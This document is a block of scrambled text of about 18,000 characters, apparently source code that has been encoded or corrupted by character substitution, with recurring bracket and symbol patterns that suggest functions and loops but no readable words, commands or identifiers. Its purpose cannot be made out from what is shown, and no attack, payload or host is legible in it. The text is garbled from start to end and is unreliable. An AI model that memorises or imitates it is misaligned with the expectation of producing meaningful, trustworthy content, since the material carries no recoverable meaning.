JELH[Z]H]JHJAL][\L #				T#			#				JELH[Z]H]JHJAL][\L #				@O		i@^v_XSYHPXKSN SLNBE_^K@P 		UU				iKKAEPBMEYMGE SLNBE_^K@P 		UU	i@N[KMFGKOJZ SLNBE_^K@P  		R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 		SPDBZLLFM]  #@O			KKAEPBMEYMGE @^v_XSYHPXKSN   		iZL]v][HGZ@LG]@^v_XSYHPXKSN 				  #	[L]\[G#		T####			#					BYMQFJC@HX^]				SLNBE_^K@P													@BZAN\Q\PQ@EXJP ####						@O	SDLMOCK_]JSDN^BYMQFJC@HX^]  		R#[L]\[G#T#	@O	iKKAEPBMEYMGE BYMQFJC@HX^] 						iKKAEPBMEYMGE BYMQFJC@HX^] 					 												SPDBZLLFM] C^v@Z@\@ACBCLZ][@GN 		iKKAEPBMEYMGE BYMQFJC@HX^]   							@N[KMFGKOJZ YEA^CJENGPQ  	R#			EHOBPA]OAvHBYMQFJC@HX^] #K@^Y[NAC\OK]^G ####	NJAKENZPDH_SD_AN #		[L]\[G#					T#	@O			i@^v_XSYHPXKSN BYMQFJC@HX^] 				iSPDBZLLFM] BYMQFJC@HX^] 				QKQM  			RQQPDO[]EPAHYYvQOKDQQPDO[]EP QQPDO[]EPQQPDO[]EP#		CB_EPC								Z][@GN 	iSPDBZLLFM] BYMQFJC@HX^]	OHEZL			G\EE									  #@O	SPDBZLLFM] CB_EPC 				@N[KMFGKOJZ KKAEPBMEYMGE 		CB_EPC		vMD 					_L[Z@FGvJFDYH[LvMDrt		^NKBHS]S^NFHGH^O] 		  		[L]\[G##\GZL]CB_EPC		vMD #			T#				PA_C\vG									ZKXOKS\JGG_ZQC@QYBYMQFJC@HX^]	]ODXFFOB\PHLBFG^YEA^CJENGPQ  ####		@O	PA_C\vG	UU			i@^v_XSYHPXKSN BYMQFJC@HX^] 			UU					i@^v_XSYHPXKSN BYMQFJC@HX^] 			 	UU				@^v_XSYHPXKSN C^v@Z@\@ACBCLZ][@GN 	i@^v_XSYHPXKSN BYMQFJC@HX^]   				KKAEPBMEYMGE YEA^CJENGPQ  			R#	@O				PA_C\vG					iSPDBZLLFM] BYMQFJC@HX^]  					R#			CB_EPC							Z][@GN 		iSPDBZLLFM] BYMQFJC@HX^]	OHEZL	G\EE			  #								J\XBCBvK							@^v_XSYHPXKSN CB_EPC 		SPDBZLLFM] @^v_XSYHPXKSN 		CB_EPC	vMD 							_L[Z@FGvJFDYH[LvMDrt			^NKBHS]S^NFHGH^O] 		 #					\GZL]CB_EPC				vMD ##	@O		J\XBCBvK 		R#XX]L[vEYC^\OZSZ_@JLBYMQFJC@HX^]				  #@PE[Z\[XJ_PLXGBYMQFJC@HX^] #			T#			T#				@O		@^v_XSYHPXKSN @^v_XSYHPXKSN   	iZL]v][HGZ@LG]@N[KMFGKOJZ 								  #[L]\[G#	T##LCEBMJ]BEBYMQFJC@HX^] O]OKBAU]vSGO]OKBAw#	XX]L[vEYC^\OZSZ_@JLBYMQFJC@HX^]			  #		EHOBPA]OAvHBYMQFJC@HX^] #	K@^Y[NAC\OK]^G #						NJAKENZPDH_SD_AN #		T				JH]JA						}A[F^HKEL		E]GYK]v 			R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	E]GYK]v #			T	JH]JA	lQJLY]@FG						E]GYK]v 				R##	T#T#	O\GJ]@FG	Q]H@CDP^J^SMFZ ##R#	][P			R#YEA^CJENGPQ			LSQQPGQ_@[D^ #@O	YEA^CJENGPQ				K[N[JPDKAX]LSYEA^CJENGPQ  	R#	G_BODYOOLHFMO					AK@\_C^N^\[SGBvvQKKAEPBMEYMGE 		 #	HB@L^_DN_							[FB]XFO_^S@^v_XSYHPXKSN G_BODYOOLHFMO 							G_BODYOOLHFMO						 #			v[YFvAOJLv							[FB]XFO_^SYEA^CJENGPQ #			@O		KKAEPBMEYMGE G_BODYOOLHFMO 				UU		KKAEPBMEYMGE G_BODYOOLHFMO 						QQK 		UU		K[N[JPDKAX]LSG_BODYOOLHFMO 		UU				HB@L^_DN_									UU		v[YFvAOJLv									_L[Z@FGvJFDYH[Lv[YFvAOJLv	HB@L^_DN_	   		R#	CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 			YEA^CJENGPQ	@^v_XSYHPXKSN  #	@O	@^v_XSYHPXKSN KKAEPBMEYMGE   	R#	i\YMH]LvFY]@FGSPDBZLLFM] 				@N[KMFGKOJZ  #		i\YMH]LvFY]@FGKKAEPBMEYMGE 						KKAEPBMEYMGE  #i\YMH]LvFY]@FGKKAEPBMEYMGE 					@N[KMFGKOJZ  #						T#	@O	KKAEPBMEYMGE SPDBZLLFM]   	iMLEL]Lv][HGZ@LG]HZZ[vN@S@BZX  #T###				T####					#	@O	KKAEPBMEYMGE @^v_XSYHPXKSN  								@^v_XSYHPXKSN @N[KMFGKOJZ   					R#		\MAN^LXFE					NL]vFY]@FGKKAEPBMEYMGE  #	@O				\MAN^LXFE			OHEZL				\MAN^LXFE					^NKBHS]S^NFHGH^O]  			R#		i\YMH]LvFY]@FGSPDBZLLFM] 			^NKBHS]S^NFHGH^O] 	@^v_XSYHPXKSN  #				T#T#	@GZ]HG]@H]L	Y[FCLJ]@_L	Y[FFO]L[D##	@O				SPDBZLLFM] KKAEPBMEYMGE  		UU					HMMvFY]@FGKKAEPBMEYMGE 					^NKBHS]S^NFHGH^O] 				KKAEPBMEYMGE   	R#	[L]\[G##		T#			#				QQ]PDLN_JDDEKF_F #	@O	KKAEPBMEYMGE KKAEPBMEYMGE   		R#						i\YMH]LvFY]@FGKKAEPBMEYMGE 		SPDBZLLFM]  #		i\YMH]LvFY]@FG@N[KMFGKOJZ 					SPDBZLLFM]  #i\YMH]LvFY]@FG@N[KMFGKOJZ 					SPDBZLLFM]  #			T#		@O				@N[KMFGKOJZ @^v_XSYHPXKSN   		iMLEL]Lv][HGZ@LG]HZZ[vN@S@BZX  #	#		@O				YEA^CJENGPQ							K[N[JPDKAX]LSYEA^CJENGPQ  	R#	CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 		YEA^CJENGPQ						KKAEPBMEYMGE  #	T#	iKLGJADH[B	Y[F_@ML[##^MCBDLPLE@ONG\EE #							#					XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 					QJHQH  #	iLGHKEL	[LZ\DLZLZZ@FG######NPBEZ_MS\_BK@N[KMFGKOJZ 		@^v_XSYHPXKSN 	 #	##							NPBEZ_MS\_BK@N[KMFGKOJZ 				@N[KMFGKOJZ 				 #			T	JH]JA		}A[F^HKEL		E]GYK]v 			R#	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 				E]GYK]v #		@O	KKAEPBMEYMGE @^v_XSYHPXKSN   				iMLEL]LvFY]@FG@^v_XSYHPXKSN  #		T	JH]JA					lQJLY]@FG			E]GYK]v 		R#							@O			@N[KMFGKOJZ @^v_XSYHPXKSN   						iMLEL]LvFY]@FGSPDBZLLFM]  #		T#T#	O\GJ]@FG		XvYCZ_@D^XXNF\L #					R#					][P			RKJSHHQLP@MEXEN_]AXXGY\KJSHHQLP@M#					@O	@N[KMFGKOJZ KKAEPBMEYMGE   		R#	~y	lG]@]P	y[F_@ML[	Z[JZL]	MLZJ[@Y]F[##i@^v_XSYHPXKSN AFDLv\[E 	H[[HP@^v_XSYHPXKSN 					 	@^v_XSYHPXKSN 		OHEZL	KKAEPBMEYMGE 				OHEZL  ####		T#	yay		LG\D	JFGO@N\[L	[LN@Z][P##T		JH]JA	}A[F^HKEL		E]GYK]v 				R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v #		T	JH]JA	lQJLY]@FG	E]GYK]v 		R#	T#								T#		#					O\GJ]@FG	QO\[SCD ###R#				Z]H]@J	HHA_XPL				OHEZL#@O			HHA_XPL 		[L]\[G#			HHA_XPL		][\L#					][P		R#	@O						SPDBZLLFM] @^v_XSYHPXKSN  	UU			@ZvHMD@G  	R#[L]\[G#	T#@O	SPDBZLLFM] @N[KMFGKOJZ  				UU			J\[[LG]v\ZL[vJHGKKAEPBMEYMGE   		R#						[L]\[G#T#					\SN[HE@FQCPBQ		@ZZL]v{lx|lz}r@^v_XSYHPXKSN t 			v{lx|lz}r@N[KMFGKOJZ t						#	\SN[HE@FQCPBQ				@N[KMFGKOJZ \SN[HE@FQCPBQ 			SPDBZLLFM] \SN[HE@FQCPBQ 		#		@O		\SN[HE@FQCPBQ			KKAEPBMEYMGE 								\SN[HE@FQCPBQ				@^v_XSYHPXKSN  	R#[L]\[G#		T#								#^v[v\\OA								H[[HP ##			@O	\SN[HE@FQCPBQ				@N[KMFGKOJZ  			R#		ZH[FO]F\]G						@ZZL]v{lx|lz}rSPDBZLLFM] t 					v{lx|lz}r@N[KMFGKOJZ t								#				ZH[FO]F\]G			@N[KMFGKOJZ ZH[FO]F\]G 				@N[KMFGKOJZ ZH[FO]F\]G 						#	@O			ZH[FO]F\]G							ZH[FO]F\]G				X^A[SKOSH[  						R#	^v[v\\OArt				ZH[FO]F\]G#T#		T	LEZL			R#	Z][LHD@GN	Z]HJBO[HDL##				#				PvKvHJ^_FJX						@ZZL]v{lx|lz}r@^v_XSYHPXKSN t 						v{lx|lz}r@^v_XSYHPXKSN t					H[[HP #					PvKvHJ^_FJX							SPDBZLLFM] PvKvHJ^_FJX 					PvKvHJ^_FJX			H[[HP #				OF[LHJA	PvKvHJ^_FJX	HZ	ZH[FO]F\]G 	R#	EFJB	ZL[@HE@SL[	OF[	DKZ][@GN	Z][@J]#####		ZH[FO]F\]G						SPDBZLLFM] ZH[FO]F\]G 				@^v_XSYHPXKSN ZH[FO]F\]G 					####	@O				ZH[FO]F\]G		ZH[FO]F\]G				X^A[SKOSH[  		R#		^v[v\\OArt							ZH[FO]F\]G#	T#					T#							T#			@O	LDY]P^v[v\\OA  		R#[L]\[GvBSJvD\UMN[KHPPJSZvBSJvD\w#T#	LQYLJ]LM	ZE@M@GN^@GMF^	##				LJvB[MSFM@NB				OHEZL#			OF[LHJA		^v[v\\OA			HZ		ZH[FO]F\]G 		R@[E@HSDDONXQOQJ KLNDQEA@[E@HSDDONX#					@O				]ACQKYZPMZH[FO]F\]G  	R#BML\NDXM[]MPGSZH[FO]F\]G #	LJvB[MSFM@NB						][\L#T#	T#		@O	LJvB[MSFM@NB 				R####	@O			SPDBZLLFM] SPDBZLLFM]  			@N[KMFGKOJZ @N[KMFGKOJZ   						R#	yayz]HG	EL_LE		O[LL	_HE@MH]F[####	^YvZHOLv[LM@[LJ]HMD@Gv\[E@N[KMFGKOJZ   #					T#T#					T		JH]JA	}A[F^HKEL		E]GYK]v 				R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v #			T		JH]JA		lQJLY]@FG			E]GYK]v 			R#	yz{	GHDLZYHJLZ	H_@O	OHEEKHJB##	T#T#			O\GJ]@FG						HG^]FXLGKKSZNN@vZL^]JZD			H]EXBNXMYP #			R####	@O		H]EXBNXMYP							KKAEPBMEYMGE  		R#	YE\N@GZ								nefkhezr@N[KMFGKOJZ t#		@O		@ZZL]YE\N@GZrKKAEPBMEYMGE t 		UU			@N[KMFGKOJZ YE\N@GZr@N[KMFGKOJZ t  		R####		[L]\[G	N@vZL^]JZD##T#					SCvYLXv						MLO@GLM@N[KMFGKOJZ  				~yvjfg}lg}vm`{				MLO@GLMKKAEPBMEYMGE  							hkzyh}a						@N[KMFGKOJZ 					 #				@O	SCvYLXv					 				R#				[L]\[G					N@vZL^]JZD#								T#	PY@\KEYCOvC				H[[HP@N[KMFGKOJZ 						SPDBZLLFM] 		@^v_XSYHPXKSN 								KKAEPBMEYMGE  #OF[LHJA	PY@\KEYCOvC						HZ		_DPPDMH_				^NSQ^GGvA 					R####@O	@ZZL]YE\N@GZrKKAEPBMEYMGE tr_DPPDMH_t  		R#	JFG]@G\L#T#	i\GDF\G]	][@L#####	JXS@GCB_LC		i@N[KMFGKOJZ SCvYLXv								_DPPDMH_ #@O					@^v_XSYHPXKSN JXS@GCB_LC 		UU						SPDBZLLFM] JXS@GCB_LC			SPDBZLLFM] 			^NSQ^GGvA			SPDBZLLFM]  						OHEZL 				R#JFG]@G\L#						T###				C]CKCK@GOMX\v					@^v_XSYHPXKSN KKAEPBMEYMGE 								^NSQ^GGvA				@N[KMFGKOJZ 						^NSQ^GGvA			SPDBZLLFM] 							JXS@GCB_LC #								@O	@N[KMFGKOJZ C]CKCK@GOMX\v  	R#		JFG]@G\L#			T#C]CKCK@GOMX\v						@^v_XSYHPXKSN C]CKCK@GOMX\v ###		@O		C]CKCK@GOMX\v								UU		C]CKCK@GOMX\v							KKAEPBMEYMGE 			UU				C]CKCK@GOMX\v				SPDBZLLFM]  	R#	~y	\ZLkEFJBy[FYZ	][HGZ@LG]	}}e##			\GZL]YE\N@GZr@^v_XSYHPXKSN tr_DPPDMH_t #								T#			T#			[L]\[G		N@vZL^]JZD#					T####					@O		H]EXBNXMYP			@N[KMFGKOJZ  		R#	[L]\[G	N@vZL^]JZD#	T#YE\N@GZ						nefkhezrSPDBZLLFM] t##			Q@MCBMAZ]\_KY							@N[KMFGKOJZ [ZKLSD_  #					@O			@ZZL]YE\N@GZr@N[KMFGKOJZ trQ@MCBMAZ]\_KYt  			R#		\GZL]YE\N@GZrKKAEPBMEYMGE trQ@MCBMAZ]\_KYt #T#		[L]\[G		N@vZL^]JZD#				T#	@O		SPDBZLLFM] KKAEPBMEYMGE   		R#		O\GJ]@FG	KvOJvDLOYELNJFD ##R#@O			HHP\_[vSHKGSLD  				R#							[L]\[G##			T#		MLXDFHODDKY		SPDBZLLFM] [ZKLSD_  #	M_XXHYC^C_SP						KKAEPBMEYMGE [ZKLSD_ 	SPDBZLLFM]  #					B^APXFvAX						M_XXHYC^C_SP									MLXDFHODDKY#					LJAF		@N[KMFGKOJZ 								LZJvH]][MLXDFHODDKY 		@N[KMFGKOJZ 					LZJvH]][B^APXFvAX 				@N[KMFGKOJZ #		LJAF	@N[KMFGKOJZ 					LZJvCZMLXDFHODDKY 					@N[KMFGKOJZ 										LZJvCZB^APXFvAX 		KKAEPBMEYMGE #	T#T#		@O			@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#						O\GJ]@FG	H@ZJ^^FJX^FQBJvM\\KNFB^KC #R#	EFNH[@]AD@J	MLJF[H]F[	##		@O		SPDBZLLFM] M\\KNFB^KC  		R#	[L]\[G		M\\KNFB^KCN^L\HLBGNZ_CGSPXN^L\HLBGN#		T#	MLXDFHODDKY			X^A[SKOSH[ #@O						@ZZL]M\\KNFB^KC[LZYFGZLrMLXDFHODDKYt  			R#		\GZL]M\\KNFB^KC[LZYFGZLrMLXDFHODDKYt ###						T#	LZZLG]@HE	HEL[]	##					[L]\[G						M\\KNFB^KC#				T#T#	@O	SPDBZLLFM] SPDBZLLFM]   	R##O\GJ]@FG	OH]Z[]MYBFL][_XAYE\N@GZ #R#		_ONSMO			X^A[SKOSH[ #	@O	@ZZL]YE\N@GZr_ONSMOt  				R#					\GZL]YE\N@GZr_ONSMOt #		##			T#				M_XXHYC^C_SP					SPDBZLLFM] [ZKLSD_ 		@N[KMFGKOJZ  #		B^APXFvAX				M_XXHYC^C_SP							@^v_XSYHPXKSN [ZKLSD_  BZ]\HZZJ\EEFKCSvSQBZ]\HZZJ\ BZ]\HZZJ\BZ]\HZZJ\#@O			@ZZL]YE\N@GZrB^APXFvAXt  		R#	~y	x\L[P	eFFY	MLGZL	X\F]@LG]##	\GZL]YE\N@GZrB^APXFvAXt #					T#		[L]\[G	YE\N@GZ#T#	T#						O\GJ]@FG		^J@DHNXCNX@NNA@G[EvPLS #								R#	@O		KKAEPBMEYMGE A@G[EvPLS  					R#				[L]\[G	A@G[EvPLS#	T#		LGQKMPQ								#	@O				@N[KMFGKOJZ KKAEPBMEYMGE  		@N[KMFGKOJZ [ZKLSD_   				R#			CP@FFF^]QMEM						NL]vYE\N@GvMH]H[ZKLSD_ 					OHEZL				OHEZL #		LGQKMPQ					@ZZL]CP@FFF^]QMEMr@N[KMFGKOJZ t 				CP@FFF^]QMEMr@N[KMFGKOJZ t			####			T#			X@@XEDH\L					H[[HPKKAEPBMEYMGE 	SPDBZLLFM]  #		OF[LHJA	X@@XEDH\L					HZ			[FBC[\OPSX 	R#	@O					@ZZL]A@G[EvPLSr[FBC[\OPSXtrKKAEPBMEYMGE t 		UU				@N[KMFGKOJZ A@G[EvPLSr[FBC[\OPSXtr@^v_XSYHPXKSN t  				R#				JFG]@G\L###		T#		OF[LHJA				A@G[EvPLSr[FBC[\OPSXtr@^v_XSYHPXKSN t		HZ					BLP							FOD\QASBO 				R####						@O	@N[KMFGKOJZ BLP		X^A[SKOSH[  						OHEZL			UU						BLP					X^A[SKOSH[  	R#							\GZL]A@G[EvPLSr[FBC[\OPSXtr@^v_XSYHPXKSN trBLPt #					JFG]@G\L#		T##			@O			LGQKMPQ									BLP			LGQKMPQ 				R##	\GZL]A@G[EvPLSr[FBC[\OPSXtr@N[KMFGKOJZ trBLPt #	JFG]@G\L#	T#								T##		T#	~y	gH_@NH]@FG	kEFJB	HG]@DFGF]FGL	[HM@Q][LL##	OF[LHJA		H[[HPKKAEPBMEYMGE 					SPDBZLLFM]  		HZ					P@F[FZFKM[[\C 			R#	\Z_[H^v[_NZLN					@ZZL]A@G[EvPLSrP@F[FZFKM[[\Ctr@^v_XSYHPXKSN t 			@^v_XSYHPXKSN A@G[EvPLSrP@F[FZFKM[[\CtrSPDBZLLFM] t 								A@G[EvPLSrP@F[FZFKM[[\CtrKKAEPBMEYMGE t						H[[HP ##					@O					\Z_[H^v[_NZLN 		JFG]@G\L#			^@O_ONPYFv							MLO@GLMSPDBZLLFM]  					~yd|vye|n`gvm`{		MLO@GLMSPDBZLLFM]  			~yvjfg}lg}vm`{			KKAEPBMEYMGE 												 ####			vEvYvMPDEJC						H[[HP PNvJ^CBQQM ]CF]\LNYNSY[PNvJ^CB#	@O						LGQKMPQ				 			vEvYvMPDEJCrt			LGQKMPQ#			vEvYvMPDEJCrt		@^v_XSYHPXKSN [ZKLSD_  ##					@O	^@O_ONPYFv								iSPDBZLLFM] ^@O_ONPYFv 		SPDBZLLFM] @N[KMFGKOJZ   			RS_OQYDZBN]UDCH]MDKFDS_OQYDZBN]w##						OF[LHJA						H[[HP 	iKKAEPBMEYMGE ^@O_ONPYFv			@N[KMFGKOJZ  		HZ			[GAZLXPJZOZ 		R#	_JQ]ZSF				iKKAEPBMEYMGE [GAZLXPJZOZ		OHEZL		G\EE				  #			@O	@N[KMFGKOJZ _JQ]ZSF 				UU		KKAEPBMEYMGE _JQ]ZSF	SPDBZLLFM]  											OHEZL 		JFG]@G\L###	@O	SPDBZLLFM] KKAEPBMEYMGE 	_JQ]ZSF				\PJ[A_]P  		R#	NvFFG]H_SOK				@N[KMFGKOJZ \PJ[A_]Prt ##		@O	NvFFG]H_SOK			 			vEvYvMPDEJCrt					NvFFG]H_SOK#		T#	O@G@]L	K\EBALHM#####			vEvYvMPDEJCrt			SPDBZLLFM] [GAZLXPJZOZ #	T#	T####		OF[LHJA	\Z_[H^v[_NZLN		HZ	BLP			FOD\QASBO 	R#OF[LHJA				vEvYvMPDEJC	HZ			GY@BPM[JBAv]X 				R#	@O	BLP				GY@BPM[JBAv]X	UU	BLP					ZHG@]@SLv]LQ]vO@LEMGY@BPM[JBAv]X  						R#	\GZL]A@G[EvPLSrP@F[FZFKM[[\Ctr@^v_XSYHPXKSN trBLPt #	K[LHBO\JMJXDQLQ ^KXCvO\JMJXD#T#T###	T#T###E^PFJCEC						@ZZL]A@G[EvPLSr@^v_XSYHPXKSN trKKAEPBMEYMGE t 					KKAEPBMEYMGE A@G[EvPLSrSPDBZLLFM] trSPDBZLLFM] t 					A@G[EvPLSrKKAEPBMEYMGE trSPDBZLLFM] t			H[[HP #		@O		E^PFJCEC 	R#SCvYLXv				MLO@GLM@^v_XSYHPXKSN  							~yvjfg}lg}vm`{					MLO@GLMSPDBZLLFM]  				hkzyh}a			@^v_XSYHPXKSN 							 #PY@\KEYCOvC					H[[HPKKAEPBMEYMGE 							KKAEPBMEYMGE 		@^v_XSYHPXKSN 							@^v_XSYHPXKSN  #	OF[LHJA				E^PFJCEC			HZ	BLP							FOD\QASBO 				R#						@O			@ZZL]PY@\KEYCOvCrBLPt 		UU				SCvYLXv									 	JFG]@G\L##JXS@GCB_LC		i@^v_XSYHPXKSN SCvYLXv							BLP		OHEZL		G\EE		  #				@O				@^v_XSYHPXKSN JXS@GCB_LC 							@N[KMFGKOJZ JXS@GCB_LC		@^v_XSYHPXKSN 				PY@\KEYCOvCrBLPt					KKAEPBMEYMGE  					OHEZL				UU	KKAEPBMEYMGE JXS@GCB_LC						@N[KMFGKOJZ  		OHEZL  			R#\GZL]A@G[EvPLSr@N[KMFGKOJZ tr@^v_XSYHPXKSN trBLPt ###T#	MLY[F_@Z@FG	OLHZ@KEL	DLDLG]F#####	T#T#	~y	yHNL	e@Z]	HJBGF^ELMNL	LOOLJ]]PYL##						[L]\[G	A@G[EvPLS#		T#			#			O\GJ]@FG			OPJZY^vZQ]ZMCQ]D\vXY^ZXKLC] #R#					@O							KKAEPBMEYMGE XY^ZXKLC]  		R#	YH]JA	]F]HE	J@YAL[Z\@]L##[L]\[G	XY^ZXKLC]#T#		O_YKE[ZYOF							@N[KMFGKOJZ [ZKLSD_  #			[_OAEKBF@SA				KKAEPBMEYMGE O_YKE[ZYOF			yh}a`gofvo`elghdl #				@NYAOBHL				H[[HP#		H[[HPSPDBZLLFM] 				
			@^v_XSYHPXKSN O_YKE[ZYOF			
 		SPDBZLLFM] 			@^v_XSYHPXKSN 							][\L ####				H[[HP@N[KMFGKOJZ 							KKAEPBMEYMGE 						@^v_XSYHPXKSN [_OAEKBF@SA	
 					KKAEPBMEYMGE 		SPDBZLLFM] 								][\L # #		@O	@ZZL]XY^ZXKLC]r@N[KMFGKOJZ t 		KKAEPBMEYMGE XY^ZXKLC]rKKAEPBMEYMGE t  						R#								OF[LHJA		XY^ZXKLC]rSPDBZLLFM] t		HZ		]B_XAL@						ZNLJNSXQQYJ 		R##	@O				@^v_XSYHPXKSN ZNLJNSXQQYJ 	UU									@^v_XSYHPXKSN ]B_XAL@  		R#	JFG]@G\L#T####						@O				@ZZL]XY^ZXKLC]rKKAEPBMEYMGE tr]B_XAL@trSPDBZLLFM] t 				UU					KKAEPBMEYMGE XY^ZXKLC]r@N[KMFGKOJZ tr]B_XAL@trSPDBZLLFM] t  	R###XY^ZXKLC]rKKAEPBMEYMGE tr]B_XAL@trKKAEPBMEYMGE t					H[[HP #		T#					OF[LHJA				@NYAOBHL			HZ			]DPCCAMC^M 			R#	OFEMJFGZ]	NLGL[HE[LJ\[Z@_L	APYL[EFNEFN#####XY^ZXKLC]rSPDBZLLFM] tr]B_XAL@trSPDBZLLFM] trt					]DPCCAMC^M#				T#	T#	T#	[L]\[G	XY^ZXKLC]#	T#	#				O\GJ]@FG				XZLMPKMJG[\ #	RBEQDPyayv`g}vdhqyayv`g}vdhqOSvX^HCHEQBEQDP#					][P	R#			@O			MLO@GLM@N[KMFGKOJZ  				UU		JFGZ]HG]SPDBZLLFM]  					  						R#			[L]\[G@GOSYX[vEYJQyayv`g}vdhqyayv`g}vdhqS[QvDXXFPYN@GOSYX[vEYJQ#			T#						@O		@^v_XSYHPXKSN @^v_XSYHPXKSN 		OHEZL  			R#	Y[@D@]@_L[LJ\[Z@_L	O@E]L[JAH@G	##	[L]\[G#			T#HM]P@DK									@N[KMFGKOJZ [ZKLSD_  #					EOH@FM]XYKJ			MLO@GLMKKAEPBMEYMGE  				~yvye|n`gvm`{						#	K@vMQYO^Q			H[[HP#	EOH@FM]XYKJ							@N[KMFGKOJZ #			EOH@FM]XYKJ							SPDBZLLFM] ####							EOH@FM]XYKJ			@^v_XSYHPXKSN #						 ##AGD][^_\NNAB_						#	OF[LHJA		K@vMQYO^Q			HZ		MLXDFHODDKY 	R#@O	MLXDFHODDKY														iSPDBZLLFM] MLXDFHODDKY 					iSPDBZLLFM] MLXDFHODDKY  		R####			AGD][^_\NNAB_				MLXDFHODDKY#		K[LHB#			T#	T#			@O					AGD][^_\NNAB_		 		R#			[L]\[G#		T#					BGD@ALODDv				@^v_XSYHPXKSN AGD][^_\NNAB_ #ZYEvH\]FEFHMv[LN@Z]L[O\GJ]@FG	JSMMXJQZ 		\ZL						BGD@ALODDv 				R#	OF[LHJA					H[[HPBGD@ALODDv											JSMMXJQZ			SPDBZLLFM] 				BGD@ALODDv											JSMMXJQZ					@^v_XSYHPXKSN  				HZ		SJHBBJSPA_K\E 		R####					@O				i@N[KMFGKOJZ SJHBBJSPA_K\E  				R#@GJE\MLvFGJL		SJHBBJSPA_K\E#						[L]\[G#	T####		T####						T #			]KD]PF\EJY				i@^v_XSYHPXKSN AGD][^_\NNAB_ #	@O	]KD]PF\EJY								OHEZL					UU		@N[KMFGKOJZ ]KD]PF\EJY						KKAEPBMEYMGE  						OHEZL 					R####					[L]\[G#T#		]KD]PF\EJY							@N[KMFGKOJZ KKAEPBMEYMGE 					]KD]PF\EJY #					]KD]PF\EJY		@^v_XSYHPXKSN @N[KMFGKOJZ 			@N[KMFGKOJZ 	]KD]PF\EJY #		HQLGMASQPXKN								Jv[GJMMAY\BvJQLCQ^D_NvFJEN[SF 	KKAEPBMEYMGE  #		@O			HQLGMASQPXKN			OHEZL 			RZYAOFBOSL]MAF^GZQ^ZYAOFBOS#				[L]\[G#T#			iSPDBZLLFM] HQLGMASQPXKN	SPDBZLLFM] 						]KD]PF\EJY #][P	R#		i@GJE\ML	HQLGMASQPXKN#T	O@GHEEP		R#			@PE[Z\[XJ_PLXGHQLGMASQPXKN #				T#			]]D[K\CH_[\\^N									SPDBZLLFM] HM]P@DK		yh}a`gofvo`elghdl #		nefkhezr@N[KMFGKOJZ t			HM]P@DK#		nefkhezr@^v_XSYHPXKSN t							]]D[K\CH_[\\^N#	YJY_M@[			SPDBZLLFM] #			SPDBZLLFM] ##					@N[KMFGKOJZ #								@N[KMFGKOJZ #				KKAEPBMEYMGE ##				T#		KKAEPBMEYMGE #		T#			T#					AJN\DFvv					Jv[GJMMAY\BvJQLCQ^D_NvFJEN[SF 			SPDBZLLFM]  #					@O		AJN\DFvv 			R#	Z][LGN]A[LM\JL	HJJ\D\EH]F[	OF[	~y	lG]@]P	y[F_@ML[##			iKKAEPBMEYMGE AJN\DFvv		YJY_M@[ #			][P		R##			i@GJE\ML		AJN\DFvvEQGEKvCGLX\YG^]AGEQGEKvCGLX\Y#		T	O@GHEEP		R#			@PE[Z\[XJ_PLXGAJN\DFvv #	T#			T#	\G[FEE	OHJ]F[##				T						JH]JA		}A[F^HKEL						E]GYK]v 			R#								FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	E]GYK]v #	T						JH]JA	lQJLY]@FG		E]GYK]v 	R#					T#	~y	k\]]FG	kEFJB	[LELHZL	][@L##				T#@O		KKAEPBMEYMGE KKAEPBMEYMGE   	RLZvOvPQSOLMZGDSLZvOvP#O\GJ]@FG					FBJX[HQZ]JLP^HAvP]\PF^ZZ]	Z@MPOGPPF #	R#				@O						@N[KMFGKOJZ ^HAvP]\PF^ZZ]  	R#	iHJ]@_H]L	[H]LE@D@]L[##				[L]\[G		^HAvP]\PF^ZZ]####						T#				PJPJNDFGN			H[[HPSPDBZLLFM] 					KKAEPBMEYMGE 		SPDBZLLFM] 		@N[KMFGKOJZ 						@N[KMFGKOJZ  #		OF[LHJA					PJPJNDFGN	HZ						BLP 	R#	Y[LM@J]@_L	JF_H[@HG]##					@O								@ZZL]^HAvP]\PF^ZZ]rBLPt 				UU						@^v_XSYHPXKSN ^HAvP]\PF^ZZ]rBLPt  		R#	JFG]@G\L#	T####	[@SJ_CSFAXGMQvQ						H[[HP #	OF[LHJA			^HAvP]\PF^ZZ]rBLPt				HZ		AEAOZvO 		R#							@O				SPDBZLLFM] AEAOZvO  				R#	dPzxe	czfg	FYL[H]F[Z	YFZ]	]PYL	ZL]\Y##[@SJ_CSFAXGMQvQrt			AEAOZvO#JFG]@G\L#			T#	GYBQYHZD								@ZZL]AEAOZvOr@^v_XSYHPXKSN t 		AEAOZvOrSPDBZLLFM] t			##]]D[K\CH_[\\^N					@ZZL]nefkhezrKKAEPBMEYMGE t 			nefkhezrSPDBZLLFM] t			###	@O			GYBQYHZD				Z@MPOGPPF	UU		]]D[K\CH_[\\^N													GYBQYHZD						]]D[K\CH_[\\^N  			R##			JFG]@G\L#T##				[@SJ_CSFAXGMQvQrt					FBJX[HQZ]JLPAEAOZvO		Z@MPOGPPF #				T#	^HAvP]\PF^ZZ]rBLPt			[@SJ_CSFAXGMQvQYE\SXELJDDFS]\YE\SXEL#			T#			[L]\[G	^HAvP]\PF^ZZ]#T#T#O\GJ]@FG	GPM@[^BD]^^FNM\]] #					R#	O@E]L[	LQY[LZZ@FG##][P	R#	@O	SPDBZLLFM] @^v_XSYHPXKSN  									NL]v][HGZ@LG]KKAEPBMEYMGE   		R#							[L]\[G#T####						[ONOZOAH					i@N[KMFGKOJZ [ZKLSD_  #@O				[ONOZOAH				[ONOZOAH				 						[ONOZOAH					 				SDLMOCK_]JSDN^[ZKLSD_   		R#						KHKDZ@L							iKKAEPBMEYMGE [ZKLSD_  #		@O	KKAEPBMEYMGE KHKDZ@L 			SPDBZLLFM] KHKDZ@L 						[ONOZOAH					_SMG[M@XJvKJSK\KHKDZ@L  	R#	@O		ZKXOKS\JGG_ZQC@QY[ZKLSD_ 			]ODXFFOB\PHLBFG^KHKDZ@L   		R#				LCEBMJ]BE[ZKLSD_  #		EHOBPA]OAvH[ZKLSD_  #							T#				T#	\GZL]KH